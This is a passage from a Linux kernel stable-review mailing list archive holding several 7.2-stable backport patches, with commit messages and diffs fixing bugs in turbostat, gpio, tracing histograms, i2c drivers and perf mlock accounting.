Signed-off-by: Len Brown <len.brown@intel.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
tools/power/x86/turbostat/turbostat.c | 44 +++++++++++++++++++---------------
1 file changed, 25 insertions(+), 19 deletions(-)
--- a/tools/power/x86/turbostat/turbostat.c
+++ b/tools/power/x86/turbostat/turbostat.c
@@ -6316,33 +6316,35 @@ int for_all_proc_cpus(int (func) (int))
#define PATH_EFFECTIVE_CPUS "/sys/fs/cgroup/cpuset.cpus.effective"
-static char cpu_effective_str[1024];
+static char *cpu_effective_str;
static int update_effective_str(bool startup)
{
FILE *fp;
- char *pos;
- char buf[1024];
+ char *buf = NULL;
+ size_t size = 0;
int ret;
- if (cpu_effective_str[0] == '\0' && !startup)
+ if (!cpu_effective_str && !startup)
return 0;
fp = fopen(PATH_EFFECTIVE_CPUS, "r");
if (!fp)
return 0;
- pos = fgets(buf, 1024, fp);
- if (!pos)
+ if (getline(&buf, &size, fp) < 0)
err(1, "%s: file read failed", PATH_EFFECTIVE_CPUS);
fclose(fp);
- ret = strncmp(cpu_effective_str, buf, 1024);
- if (!ret)
+ ret = cpu_effective_str ? strcmp(cpu_effective_str, buf) : 1;
+ if (!ret) {
+ free(buf);
return 0;
+ }
- strncpy(cpu_effective_str, buf, 1024);
+ free(cpu_effective_str);
+ cpu_effective_str = buf;
return 1;
}
@@ -8534,13 +8536,16 @@ end:
return ret;
}
-char cpuset_buf[1024];
-int initialize_cpu_set_from_sysfs(cpu_set_t *cpu_set, char *sysfs_path, char *sysfs_file)
+int initialize_cpu_set_from_sysfs(cpu_set_t *cpu_set, const char *sysfs_path,
+ const char *sysfs_file)
{
FILE *fp;
+ char *cpuset_buf = NULL;
+ size_t size = 0;
char path[128];
+ int ret = -1;
- if (snprintf(path, 128, "%s/%s", sysfs_path, sysfs_file) > 128)
+ if (snprintf(path, sizeof(path), "%s/%s", sysfs_path, sysfs_file) >= (int)sizeof(path))
err(-1, "%s %s", sysfs_path, sysfs_file);
fp = fopen(path, "r");
@@ -8548,19 +8553,20 @@ int initialize_cpu_set_from_sysfs(cpu_se
warn("open %s", path);
return -1;
}
- if (fread(cpuset_buf, sizeof(char), 1024, fp) == 0) {
+ if (getline(&cpuset_buf, &size, fp) < 0) {
warn("read %s", sysfs_path);
- goto err;
+ goto out;
}
if (parse_cpu_str(cpuset_buf, cpu_set, cpu_possible_setsize)) {
- warnx("%s: cpu str malformat %s\n", sysfs_path, cpu_effective_str);
- goto err;
+ warnx("%s: cpu str malformat %s\n", sysfs_path, cpuset_buf);
+ goto out;
}
- return 0;
+ ret = 0;
-err:
+out:
fclose(fp);
- return -1;
+ free(cpuset_buf);
+ return ret;
}
void print_cpu_set(char *s, cpu_set_t *set)
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 132/242] tools: gpio: fix building from the top level with O=
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (129 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 131/242] tools/power turbostat: Read complete CPU lists Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 133/242] tracing/histograms: Reject non-stacktrace fields for synthetic stacktrace fields Greg Kroah-Hartman
` (110 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Sasha Levin, Bartosz Golaszewski
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Sasha Levin <sashal@kernel.org>
commit 52336337f1a01ad803c7f3ddb23f40222e9ad58d upstream.
"make O=<dir> tools/gpio" fails:
Makefile:27: /tools/build/Makefile.include: No such file or directory
tools/Makefile clears srctree, and the gpio Makefile only works it out
again when building_out_of_srctree is not set, which the top-level
Makefile sets for O= builds.
Also work out srctree when it is empty, as tools/bpf/Makefile does
since commit a89b2cbf71d64 ("tools, bpf: Fix build for 'make -s
tools/bpf O=<dir>'").
Fixes: 4a6a6f5c4aeed ("tools: gpio: Use !building_out_of_srctree to determine srctree")
Cc: stable@vger.kernel.org
Assisted-by: LLM
Signed-off-by: Sasha Levin <sashal@kernel.org>
Link: https://patch.msgid.link/20261011223358.2327625-5-sashal@kernel.org
Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
tools/gpio/Makefile | 6 ++++++
1 file changed, 6 insertions(+)
--- a/tools/gpio/Makefile
+++ b/tools/gpio/Makefile
@@ -7,7 +7,13 @@ bindir ?= /usr/bin
# isn't set and when invoked from selftests build, where srctree
# is set to ".". building_out_of_srctree is undefined for in srctree
# builds
+ifeq ($(srctree),)
+update_srctree := 1
+endif
ifndef building_out_of_srctree
+update_srctree := 1
+endif
+ifeq ($(update_srctree),1)
srctree := $(patsubst %/,%,$(dir $(CURDIR)))
srctree := $(patsubst %/,%,$(dir $(srctree)))
endif
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 133/242] tracing/histograms: Reject non-stacktrace fields for synthetic stacktrace fields
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (130 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 132/242] tools: gpio: fix building from the top level with O= Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 134/242] gpio: shared: fix use-after-free bug when adding shared proxies Greg Kroah-Hartman
` (109 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Lee Jones, Masami Hiramatsu (Google),
Steven Rostedt
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Lee Jones <lee@kernel.org>
commit a244c241593b5b38a08f0df2cb43c26574efbdcb upstream.
In check_synth_field(), when a synthetic event field is a stacktrace
(field->is_stack) and the histogram field is not a "long[" stacktrace
array, validation falls through to the generic size and signedness
comparison.
Because parse_synth_field() sets a stacktrace field's type to
"__data_loc unsigned long[]", its size is sizeof(u64) and
synth_field_signed() marks it as signed. Consequently, any 8-byte
signed scalar histogram field passes the fallback check, and its scalar
value is subsequently dereferenced as a kernel stacktrace pointer in
get_field_size() and trace_stack().
Furthermore, checking strstr(hist_field->type, "long[") is insufficient
because tracepoint fields defined with __bitmask() or __rel_bitmask()
also have type "__data_loc unsigned long[]" or "__rel_loc unsigned
long[]", whilst create_hist_field() treats them as 4-byte scalar values
without HIST_FIELD_FL_STACKTRACE.
Propagate HIST_FIELD_FL_STACKTRACE to variable references and field
variables (whilst excluding variable aliases from per-element
stacktrace capture), and reject any mismatch between
HIST_FIELD_FL_STACKTRACE and field->is_stack in check_synth_field().
Cc: stable@vger.kernel.org
Fixes: 00cf3d672a9d ("tracing: Allow synthetic events to pass around stacktraces")
Link: https://patch.msgid.link/20261013112449.1006088-1-lee@kernel.org
Signed-off-by: Lee Jones <lee@kernel.org>
Acked-by: Masami Hiramatsu (Google) <mhiramat@kernel.org>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/trace/trace_events_hist.c | 15 +++++++++++----
1 file changed, 11 insertions(+), 4 deletions(-)
--- a/kernel/trace/trace_events_hist.c
+++ b/kernel/trace/trace_events_hist.c
@@ -2116,7 +2116,8 @@ static int init_var_ref(struct hist_fiel
ref_field->size = var_field->size;
ref_field->is_signed = var_field->is_signed;
ref_field->flags |= var_field->flags &
- (HIST_FIELD_FL_TIMESTAMP | HIST_FIELD_FL_TIMESTAMP_USECS);
+ (HIST_FIELD_FL_TIMESTAMP | HIST_FIELD_FL_TIMESTAMP_USECS |
+ HIST_FIELD_FL_STACKTRACE);
if (system) {
ref_field->system = kstrdup(system, GFP_KERNEL);
@@ -3298,6 +3299,7 @@ static struct field_var *create_field_va
ret = PTR_ERR(var);
goto err;
}
+ var->flags |= val->flags & HIST_FIELD_FL_STACKTRACE;
field_var = kzalloc_obj(struct field_var);
if (!field_var) {
@@ -3926,7 +3928,10 @@ static int check_synth_field(struct synt
&& field->is_dynamic)
return 0;
- if (strstr(hist_field->type, "long[") && field->is_stack)
+ if (!!(hist_field->flags & HIST_FIELD_FL_STACKTRACE) != field->is_stack)
+ return -EINVAL;
+
+ if (field->is_stack)
return 0;
if (strcmp(field->type, hist_field->type) != 0) {
@@ -4467,7 +4472,8 @@ static int create_var_field(struct hist_
if (!ret && hist_data->fields[val_idx]->flags & HIST_FIELD_FL_EXECNAME)
update_var_execname(hist_data->fields[val_idx]);
- if (!ret && hist_data->fields[val_idx]->flags &
+ if (!ret && !(hist_data->fields[val_idx]->flags & HIST_FIELD_FL_ALIAS) &&
+ hist_data->fields[val_idx]->flags &
(HIST_FIELD_FL_STRING | HIST_FIELD_FL_STACKTRACE))
hist_data->fields[val_idx]->var_str_idx = hist_data->n_var_str++;
@@ -5208,7 +5214,8 @@ static void hist_trigger_elt_update(stru
if (hist_field->flags & HIST_FIELD_FL_VAR) {
var_idx = hist_field->var.idx;
- if (hist_field->flags &
+ if (!(hist_field->flags & HIST_FIELD_FL_ALIAS) &&
+ hist_field->flags &
(HIST_FIELD_FL_STRING | HIST_FIELD_FL_STACKTRACE)) {
unsigned int str_start, var_str_idx, idx;
char *str, *val_str;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 134/242] gpio: shared: fix use-after-free bug when adding shared proxies
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (131 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 133/242] tracing/histograms: Reject non-stacktrace fields for synthetic stacktrace fields Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 135/242] gpio: shared: gracefully handle no-device lookup of shared GPIOs Greg Kroah-Hartman
` (108 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Linus Walleij, Bartosz Golaszewski
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
commit bd22f7e63509fa758cf500d9af3e88a3d3df96be upstream.
The GPIO lookup table can stay alive for longer than the kobject whose
name string's address we're assigning to lookup->dev_id. Fix a potential
UAF by duplicating the string.
Cc: stable@vger.kernel.org
Fixes: a060b8c511ab ("gpiolib: implement low-level, shared GPIO support")
Reviewed-by: Linus Walleij <linusw@kernel.org>
Link: https://patch.msgid.link/20261014-gpio-shared-fwnode-lookup-v4-1-2253ad645fd6@oss.qualcomm.com
Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/gpio/gpiolib-shared.c | 12 ++++++++----
1 file changed, 8 insertions(+), 4 deletions(-)
--- a/drivers/gpio/gpiolib-shared.c
+++ b/drivers/gpio/gpiolib-shared.c
@@ -450,7 +450,6 @@ int gpio_shared_add_proxy_lookup(struct
const char *con_id, unsigned long lflags)
{
const char *dev_id = dev_name(consumer);
- struct gpiod_lookup_table *lookup;
struct gpio_shared_entry *entry;
struct gpio_shared_ref *ref;
@@ -480,18 +479,22 @@ int gpio_shared_add_proxy_lookup(struct
if (!key)
return -ENOMEM;
- lookup = kzalloc_flex(*lookup, table, 2);
+ struct gpiod_lookup_table *lookup __free(kfree) =
+ kzalloc_flex(*lookup, table, 2);
if (!lookup)
return -ENOMEM;
pr_debug("Adding machine lookup entry for a shared GPIO for consumer %s, with key '%s' and con_id '%s'\n",
dev_id, key, ref->con_id ?: "none");
- lookup->dev_id = dev_id;
+ lookup->dev_id = kstrdup(dev_id, GFP_KERNEL);
+ if (!lookup->dev_id)
+ return -ENOMEM;
+
lookup->table[0] = GPIO_LOOKUP(no_free_ptr(key), 0,
ref->con_id, lflags);
- ref->lookup = lookup;
+ ref->lookup = no_free_ptr(lookup);
gpiod_add_lookup_table(ref->lookup);
return 0;
@@ -611,6 +614,7 @@ void gpio_device_teardown_shared(struct
if (ref->lookup) {
gpiod_remove_lookup_table(ref->lookup);
kfree(ref->lookup->table[0].key);
+ kfree(ref->lookup->dev_id);
kfree(ref->lookup);
ref->lookup = NULL;
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 135/242] gpio: shared: gracefully handle no-device lookup of shared GPIOs
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (132 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 134/242] gpio: shared: fix use-after-free bug when adding shared proxies Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 136/242] i2c: qcom-cci: Fix HALT_ACK reset request being dropped Greg Kroah-Hartman
` (107 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Abel Vesa, Bartosz Golaszewski
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
commit cf73c3fc03c43a8a86fd487c62390b4744eff9ec upstream.
We use platform lookup tables for shared GPIOs. This mechanism needs a
struct device to work so fwnode-based lookup with no device associated
currently causes a NULL-pointer deference.
Adding this functionality will require a larger rework and it has never
worked anyway so add a check that allows the kernel to gracefully handle
this situation with an error ahead of implementing that functionality as
a new feature.
Cc: stable@vger.kernel.org
Reported-by: Abel Vesa <abelvesa@kernel.org>
Fixes: a060b8c511ab ("gpiolib: implement low-level, shared GPIO support")
Link: https://patch.msgid.link/20261014-gpio-shared-fwnode-lookup-v4-2-2253ad645fd6@oss.qualcomm.com
Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/gpio/gpiolib-shared.c | 7 ++++++-
1 file changed, 6 insertions(+), 1 deletion(-)
diff --git a/drivers/gpio/gpiolib-shared.c b/drivers/gpio/gpiolib-shared.c
index 6acfec73b734..8c9ac9d93304 100644
--- a/drivers/gpio/gpiolib-shared.c
+++ b/drivers/gpio/gpiolib-shared.c
@@ -449,9 +449,14 @@ static bool gpio_shared_dev_is_reset_gpio(struct device *consumer,
int gpio_shared_add_proxy_lookup(struct device *consumer, struct fwnode_handle *fwnode,
const char *con_id, unsigned long lflags)
{
- const char *dev_id = dev_name(consumer);
struct gpio_shared_entry *entry;
struct gpio_shared_ref *ref;
+ const char *dev_id;
+
+ if (!consumer)
+ return -EOPNOTSUPP;
+
+ dev_id = dev_name(consumer);
list_for_each_entry(entry, &gpio_shared_list, list) {
list_for_each_entry(ref, &entry->refs, list) {
--
2.56.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 136/242] i2c: qcom-cci: Fix HALT_ACK reset request being dropped
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (133 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 135/242] gpio: shared: gracefully handle no-device lookup of shared GPIOs Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 137/242] i2c: viai2c-wmt: Fix clock leak in wmt_i2c_probe() Greg Kroah-Hartman
` (106 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Loic Poulain, Konrad Dybcio,
Andi Shyti
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Loic Poulain <loic.poulain@oss.qualcomm.com>
commit 195f3d74b5de98969dc4fad956393bb00787efd1 upstream.
A HALT_ACK interrupt indicates that the corresponding I2C master has
entered the halted state and must be reset before further operation.
The M0 and M1 HALT_ACK status bits may be asserted simultaneously in a
single interrupt. However, the interrupt handler currently overwrites
the reset mask when processing each HALT_ACK condition, causing the
first reset request to be lost if both events are reported together.
Accumulate reset requests instead of overwriting them so that both
masters are properly reset when M0 and M1 HALT_ACK events occur in the
same interrupt.
Fixes: e517526195de4 ("i2c: Add Qualcomm CCI I2C driver")
Signed-off-by: Loic Poulain <loic.poulain@oss.qualcomm.com>
Cc: <stable@vger.kernel.org> # v5.8+
Reviewed-by: Konrad Dybcio <konrad.dybcio@oss.qualcomm.com>
Signed-off-by: Andi Shyti <andi.shyti@kernel.org>
Link: https://patch.msgid.link/20261012-cci-fixes-v1-1-8cd4eb1fc5f9@oss.qualcomm.com
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/i2c/busses/i2c-qcom-cci.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
--- a/drivers/i2c/busses/i2c-qcom-cci.c
+++ b/drivers/i2c/busses/i2c-qcom-cci.c
@@ -164,12 +164,12 @@ static irqreturn_t cci_isr(int irq, void
}
if (unlikely(val & CCI_IRQ_STATUS_0_I2C_M0_Q0Q1_HALT_ACK)) {
- reset = CCI_RESET_CMD_M0_MASK;
+ reset |= CCI_RESET_CMD_M0_MASK;
ret = IRQ_HANDLED;
}
if (unlikely(val & CCI_IRQ_STATUS_0_I2C_M1_Q0Q1_HALT_ACK)) {
- reset = CCI_RESET_CMD_M1_MASK;
+ reset |= CCI_RESET_CMD_M1_MASK;
ret = IRQ_HANDLED;
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 137/242] i2c: viai2c-wmt: Fix clock leak in wmt_i2c_probe()
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (134 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 136/242] i2c: qcom-cci: Fix HALT_ACK reset request being dropped Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 139/242] perf: Track the perf mlock gift separately Greg Kroah-Hartman
` (105 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Wentao Liang, Andi Shyti
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Wentao Liang <vulab@iscas.ac.cn>
commit aaabefc79b0ff0018e8e3832169bbe359d0551fc upstream.
In wmt_i2c_probe(), i2c->clk is acquired using of_clk_get(). If any
subsequent operation fails or when the module is unloaded, the clock
reference count is never decremented via clk_put(), leading to a
resource leak.
Switch to devm_clk_get() so that the clock is automatically managed
and released.
Fixes: 560746eb79d3 ("i2c: vt8500: Add support for I2C bus on Wondermedia SoCs")
Cc: stable@vger.kernel.org
Signed-off-by: Wentao Liang <vulab@iscas.ac.cn>
Signed-off-by: Andi Shyti <andi.shyti@kernel.org>
Link: https://patch.msgid.link/20260916070631.1965713-1-vulab@iscas.ac.cn
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/i2c/busses/i2c-viai2c-wmt.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
--- a/drivers/i2c/busses/i2c-viai2c-wmt.c
+++ b/drivers/i2c/busses/i2c-viai2c-wmt.c
@@ -117,7 +117,7 @@ static int wmt_i2c_probe(struct platform
return dev_err_probe(&pdev->dev, err,
"failed to request irq %i\n", i2c->irq);
- i2c->clk = of_clk_get(np, 0);
+ i2c->clk = devm_clk_get(&pdev->dev, NULL);
if (IS_ERR(i2c->clk))
return dev_err_probe(&pdev->dev, PTR_ERR(i2c->clk),
"unable to request clock\n");
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 138/242] i2c: xiic: restore non-managed runtime PM to fix clk WARN flood
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
0 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Abdurrahman Hussain, Andi Shyti
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Abdurrahman Hussain <abdurrahman@nexthop.ai>
commit d33373c565af9c8a28776af02bd20ba6e5724211 upstream.
The devres conversion replaced manual pm_runtime_enable()/disable() with
devm_pm_runtime_set_active_enabled() and dropped the remove-time runtime
PM teardown. The managed release tears runtime PM down in the wrong
order: it calls pm_runtime_dont_use_autosuspend() before
pm_runtime_disable(), i.e. while runtime PM is still enabled, and devres
is LIFO so the devm_clk_get_enabled() release runs afterwards.
At remove(), pm_runtime_put_sync() leaves the device active with the
autosuspend timer armed. Clearing use_autosuspend then makes rpm_idle()
suspend immediately, and xiic_i2c_runtime_suspend() clk_disable()s the
clock. The later devm_clk_get_enabled() release clk_disable_unprepare()s
the already-disabled clock, so clk_core_disable() WARNs ("clkN already
disabled") on every teardown.
Drop the managed helper and restore the non-managed runtime PM setup and
teardown, so runtime PM is enabled once in probe and disabled once in
remove and the clock enable count stays balanced.
Order the remove teardown so runtime PM is disabled before the usage
count is dropped: pm_runtime_disable() followed by pm_runtime_put_noidle()
instead of pm_runtime_put_sync(). Dropping the count first with autosuspend
still enabled arms the autosuspend timer, and a preemption before
pm_runtime_disable() lets it expire, suspend the device and clk_disable()
the clock, which the devm release then disables again - the same WARN.
Restore the non-managed IRQ request as well. The probe error paths now
unwind runtime PM by hand via goto, and a devm-registered handler is only
freed later during devres unwind, so it would stay live across the manual
teardown (and across any future failing step added after it). Request the
IRQ with request_threaded_irq() and free it explicitly in the probe error
path and in remove. The probe error path also clears use_autosuspend, to
match the teardown in remove().
Fixes: 50c63491ff26 ("i2c: xiic: switch to devres managed APIs")
Signed-off-by: Abdurrahman Hussain <abdurrahman@nexthop.ai>
Cc: <stable@vger.kernel.org> # v7.1+
Signed-off-by: Andi Shyti <andi.shyti@kernel.org>
Link: https://patch.msgid.link/20261014-i2c-xiic-restore-runtime-pm-teardown-v8-1-40668c270069@nexthop.ai
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/i2c/busses/i2c-xiic.c | 49 ++++++++++++++++++++++++++++-------
1 file changed, 40 insertions(+), 9 deletions(-)
diff --git a/drivers/i2c/busses/i2c-xiic.c b/drivers/i2c/busses/i2c-xiic.c
index 5e397a7e63f6..ba560462d451 100644
--- a/drivers/i2c/busses/i2c-xiic.c
+++ b/drivers/i2c/busses/i2c-xiic.c
@@ -67,6 +67,7 @@ enum i2c_scl_freq {
* @rx_pos: Position within current RX message
* @endianness: big/little-endian byte order
* @clk: Pointer to AXI4-lite input clock
+ * @irq: Interrupt number
* @state: See STATE_
* @singlemaster: Indicates bus is single master
* @dynamic: Mode of controller
@@ -95,6 +96,7 @@ struct xiic_i2c {
int rx_pos;
enum xiic_endian endianness;
struct clk *clk;
+ int irq;
enum xilinx_i2c_state state;
bool singlemaster;
bool dynamic;
@@ -1506,9 +1508,17 @@ static int xiic_i2c_probe(struct platform_device *pdev)
pm_runtime_set_autosuspend_delay(dev, XIIC_PM_TIMEOUT);
pm_runtime_use_autosuspend(dev);
- ret = devm_pm_runtime_set_active_enabled(dev);
- if (ret)
+ /*
+ * Enable runtime PM by hand: devm_pm_runtime_set_active_enabled()
+ * tears down in an order that races the devm-enabled clock release and
+ * makes clk_core_disable() WARN (see xiic_i2c_remove()).
+ */
+ ret = pm_runtime_set_active(dev);
+ if (ret) {
+ pm_runtime_dont_use_autosuspend(dev);
return ret;
+ }
+ pm_runtime_enable(dev);
/* SCL frequency configuration */
i2c->input_clk = clk_get_rate(i2c->clk);
@@ -1517,10 +1527,15 @@ static int xiic_i2c_probe(struct platform_device *pdev)
if (ret || i2c->i2c_clk > I2C_MAX_FAST_MODE_PLUS_FREQ)
i2c->i2c_clk = 0;
- ret = devm_request_threaded_irq(dev, irq, NULL, xiic_process,
- IRQF_ONESHOT, pdev->name, i2c);
+ /*
+ * Request the IRQ non-managed: later probe steps unwind manually via
+ * goto, so a devm handler could still be live after that teardown runs.
+ */
+ i2c->irq = irq;
+ ret = request_threaded_irq(irq, NULL, xiic_process, IRQF_ONESHOT,
+ pdev->name, i2c);
if (ret)
- return ret;
+ goto err_pm_disable;
i2c->singlemaster = device_property_read_bool(dev, "single-master");
@@ -1537,14 +1552,16 @@ static int xiic_i2c_probe(struct platform_device *pdev)
i2c->endianness = BIG;
ret = xiic_reinit(i2c);
- if (ret)
- return dev_err_probe(dev, ret, "Cannot xiic_reinit\n");
+ if (ret) {
+ dev_err_probe(dev, ret, "Cannot xiic_reinit\n");
+ goto err_free_irq;
+ }
/* add i2c adapter to i2c tree */
ret = i2c_add_numbered_adapter(&i2c->adap);
if (ret) {
xiic_deinit(i2c);
- return ret;
+ goto err_free_irq;
}
if (pdata) {
@@ -1557,6 +1574,15 @@ static int xiic_i2c_probe(struct platform_device *pdev)
res, irq, i2c->i2c_clk);
return 0;
+
+err_free_irq:
+ free_irq(irq, i2c);
+err_pm_disable:
+ pm_runtime_disable(dev);
+ pm_runtime_set_suspended(dev);
+ pm_runtime_dont_use_autosuspend(dev);
+
+ return ret;
}
static void xiic_i2c_remove(struct platform_device *pdev)
@@ -1568,6 +1594,8 @@ static void xiic_i2c_remove(struct platform_device *pdev)
/* remove adapter & data */
i2c_del_adapter(&i2c->adap);
+ free_irq(i2c->irq, i2c);
+
ret = pm_runtime_get_sync(dev);
if (ret < 0)
dev_warn(dev, "Failed to activate device for removal (%pe)\n",
@@ -1575,7 +1603,10 @@ static void xiic_i2c_remove(struct platform_device *pdev)
else
xiic_deinit(i2c);
- pm_runtime_put_sync(dev);
+ pm_runtime_disable(dev);
+ pm_runtime_put_noidle(dev);
+ pm_runtime_set_suspended(dev);
+ pm_runtime_dont_use_autosuspend(dev);
}
static const struct dev_pm_ops xiic_dev_pm_ops = {
--
2.56.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 139/242] perf: Track the perf mlock gift separately
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (135 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 137/242] i2c: viai2c-wmt: Fix clock leak in wmt_i2c_probe() Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 140/242] perf: Update cgroup time when rotating multiplexed events Greg Kroah-Hartman
` (104 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Ameer Hamza, Lorenzo Stoakes (ARM),
Peter Zijlstra (Intel)
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Lorenzo Stoakes (ARM) <ljs@kernel.org>
commit 78436f3882fb8d848c823bf8cf754988202c5ca5 upstream.
The locked_vm field in struct user_struct was originally introduced by
commit 789f90fcf6b0 ("perf_counter: per user mlock gift") to provide an
mlock-like budget for perf measured against mm->pinned_vm (since 2011).
perf grants each user a 'gift' of perf_event_mlock_kb * online CPUs of
buffer pages which is charged to user->locked_vm without any RLIMIT_MEMLOCK
check.
Only pages beyond the gift are checked against RLIMIT_MEMLOCK, per-mm, via
mm->pinned_vm, which makes it different from the standard mlock() check,
which is per-mm and made against RLIMIT_MEMLOCK.
However, since this was introduced, a number of other components have
utilised this field where a shared resource needed to be limited against
RLIMIT_MEMLOCK.
The other users are currently MSG_ZEROCOPY, io_uring, AF_XDP, iommufd,
s390 KVM zPCI and most recently, secretmem in commit 97d34aa65c29
("mm/secretmem: properly account locked pages").
This field is shared between all of these, but because the gift is not
checked against RLIMIT_MEMLOCK, user->locked_vm alone can exceed it - 16
CPUs * 516 KiB is already more than the default 8 MiB - after which every
other user of the field fails unconditionally.
This was reported by a user who saw secretmem failing while running a
simultaneous perf record.
Resolve the issue by simply giving perf its own field separate from the
rest.
BPF used user->locked_vm up until commit 80ee81e0403c ("bpf: Eliminate
rlimit-based memory accounting infra for bpf maps") which landed in 5.11.
Thus also eliminate the now-defunct ifdef for CONFIG_BPF_SYSCALL for
user->locked_vm.
This issue exists between all of the components which use user->locked_vm
and perf, however secretmem is the first user who has caused a report over
many years and has been backported, so target the fix at that.
Fixes: 97d34aa65c29 ("mm/secretmem: properly account locked pages")
Closes: https://lore.kernel.org/20261002175651.811343-1-ameer.hamza@truenas.com
Reported-by: Ameer Hamza <ameer.hamza@truenas.com>
Signed-off-by: Lorenzo Stoakes (ARM) <ljs@kernel.org>
Signed-off-by: Peter Zijlstra (Intel) <peterz@infradead.org>
Cc: stable@vger.kernel.org
Link: https://patch.msgid.link/20261003-perf-locked-vm-fix-v1-1-d214dcaf0d76@kernel.org
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
include/linux/sched/user.h | 8 +++++---
kernel/events/core.c | 12 ++++++------
2 files changed, 11 insertions(+), 9 deletions(-)
--- a/include/linux/sched/user.h
+++ b/include/linux/sched/user.h
@@ -23,11 +23,13 @@ struct user_struct {
struct hlist_node uidhash_node;
kuid_t uid;
-#if defined(CONFIG_PERF_EVENTS) || defined(CONFIG_BPF_SYSCALL) || \
